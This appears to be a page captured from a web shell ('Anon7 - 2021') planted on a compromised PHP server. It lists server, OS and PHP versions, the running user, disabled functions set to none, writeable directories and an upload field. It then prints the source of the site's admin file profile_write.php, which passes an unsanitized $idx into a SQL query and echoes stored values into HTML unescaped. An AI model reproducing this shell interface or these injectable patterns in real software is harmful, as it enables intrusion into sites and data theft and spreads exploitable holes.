KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/yuchun/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/yuchun/admin/profile_write.php
<?include $_SERVER['DOCUMENT_ROOT']."/admin/adminTopMenu.html";?>
<script type="text/javascript">
function validate()
{
	var f = document.form;
	if(f.subject.value == "") {
		alert("제목입력");f.subject.focus(); return false;
	}
}

function go_List()
{
	var f = document.form;
	f.action = './profile.php';
	f.submit();
}
</script>

<?

 $tableName = "profile";
 if($idx){
	$qry = "SELECT * FROM board_$tableName where no='$idx'";
	$result= mysql_query($qry,$db_con);
	$row = mysql_fetch_array($result);

	$loginDate = substr($row[logindate],0,10);
	$regDate = substr($row[cdate],0,10);
 $division = $row[division];
	$naviChkName = "수정";
	$mode ="proc";

}else{

	$naviChkName = "등록";
	if(!$mode){ $mode ="write"; }

}
?>
<div id="contents">
	<h2>PROFILES</h2>
<div id="content">
<form name="form" method="post" action="./Proc/profile_proc.php" onsubmit="return validate();" enctype="multipart/form-data">
	<input type="hidden" name="mode" value="<?=$mode?>">
	<input type="hidden" name="idx" value="<?=$idx?>">
	<table class="write" summary="관리자모드 게시판입니다" cellspacing="0" >
		<colgroup>
			<col width="80"/>
			<col />
		</colgroup>
			<tbody>
				<tr>
					<th>is_secret</th>
					<td><input  type="checkbox" id="is_secret" name="is_secret" class="input_box" value="Y" <?if($row[is_secret] == "Y") echo"checked";?>/><b>secret check</b></td>
				</tr>
    <tr>
					<th>구분</th>
					<td>
					<select name="division">
                    <option value="1" <?if($division == "1") echo"selected";?>>방송</option>
                    <option value="2" <?if($division == "2") echo"selected";?>>영화</option>
                    <option value="3" <?if($division == "3") echo"selected";?>>앨범</option>
                    <option value="4" <?if($division == "4") echo"selected";?>>기타</option>
                    <option value="5" <?if($division == "5") echo"selected";?>>Aword</option>
                    <option value="6" <?if($division == "6") echo"selected";?>>Ambassador</option>
                    </select>
					</td>
				</tr>
    <tr>
					<th>NEW 체크</th>
					<td><input  type="checkbox" id="is_notice" name="is_notice" class="input_box" value="Y" <?if($row[is_notice] == "Y") echo"checked";?>/><b>NEW 아이콘</b></td>
				</tr>
				<tr>
					<th>업이미지</th>
					<td>
					<input name="thumnail" type="file">
					<?

					if($row[img_file1]){
					echo $row[img_file1]."<input type='hidden' name='old_thumnail' value='$row[img_file1]'> ";
					}
					?>

					</td>
				</tr>
    <tr>
					<th>제목</th>
					<td><input type="text" class="title" name="subject" value="<?=$row[subject]?>"/></td>
				</tr>
				<tr>
					<th>년도</th>
					<td>
					<input type="text" class="title" name="subtitle" value="<?=$row[subtitle]?>"/>
					</td>
				</tr>
                <tr>
					<td colspan="2">
					<textarea cols="60" id="editor1" name="contents" rows="10"><?=stripslashes($row[contents])?></textarea>
					</td>
				</tr>
			</tbody>
		</table>
		<div class="btn">
			<input type="submit" value="<?=$naviChkName?>하기" name="" class="btn_red" />
			<input type="button" value="목록보기" class="btn_blue" onClick="go_List();" />
	</div>
		</form>

</div>
<p></p>
</body>
</html>
<?include('./editorScript.php');?>

Anon7 - 2021